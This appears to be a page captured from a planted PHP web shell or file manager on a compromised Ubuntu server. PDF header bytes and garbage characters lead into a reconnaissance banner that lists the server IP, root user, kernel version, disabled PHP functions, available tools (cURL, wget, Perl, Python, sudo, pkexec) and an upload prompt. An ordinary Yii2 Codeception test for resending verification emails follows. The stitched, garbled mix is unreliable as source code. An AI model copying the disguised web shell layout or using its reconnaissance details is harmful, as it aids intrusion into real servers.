%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/cwd/html/ppaobm/frontend/tests/functional/ |
Upload File : |
<?php namespace frontend\tests\functional; use common\fixtures\UserFixture; use frontend\tests\FunctionalTester; class ResendVerificationEmailCest { protected $formId = '#resend-verification-email-form'; /** * Load fixtures before db transaction begin * Called in _before() * @see \Codeception\Module\Yii2::_before() * @see \Codeception\Module\Yii2::loadFixtures() * @return array */ public function _fixtures() { return [ 'user' => [ 'class' => UserFixture::className(), 'dataFile' => codecept_data_dir() . 'user.php', ], ]; } public function _before(FunctionalTester $I) { $I->amOnRoute('/site/resend-verification-email'); } protected function formParams($email) { return [ 'ResendVerificationEmailForm[email]' => $email ]; } public function checkPage(FunctionalTester $I) { $I->see('Resend verification email', 'h1'); $I->see('Please fill out your email. A verification email will be sent there.'); } public function checkEmptyField(FunctionalTester $I) { $I->submitForm($this->formId, $this->formParams('')); $I->seeValidationError('Email cannot be blank.'); } public function checkWrongEmailFormat(FunctionalTester $I) { $I->submitForm($this->formId, $this->formParams('abcd.com')); $I->seeValidationError('Email is not a valid email address.'); } public function checkWrongEmail(FunctionalTester $I) { $I->submitForm($this->formId, $this->formParams('wrong@email.com')); $I->seeValidationError('There is no user with this email address.'); } public function checkAlreadyVerifiedEmail(FunctionalTester $I) { $I->submitForm($this->formId, $this->formParams('test2@mail.com')); $I->seeValidationError('There is no user with this email address.'); } public function checkSendSuccessfully(FunctionalTester $I) { $I->submitForm($this->formId, $this->formParams('test@mail.com')); $I->canSeeEmailIsSent(); $I->seeRecord('common\models\User', [ 'email' => 'test@mail.com', 'username' => 'test.test', 'status' => \common\models\User::STATUS_INACTIVE ]); $I->see('Check your email for further instructions.'); } }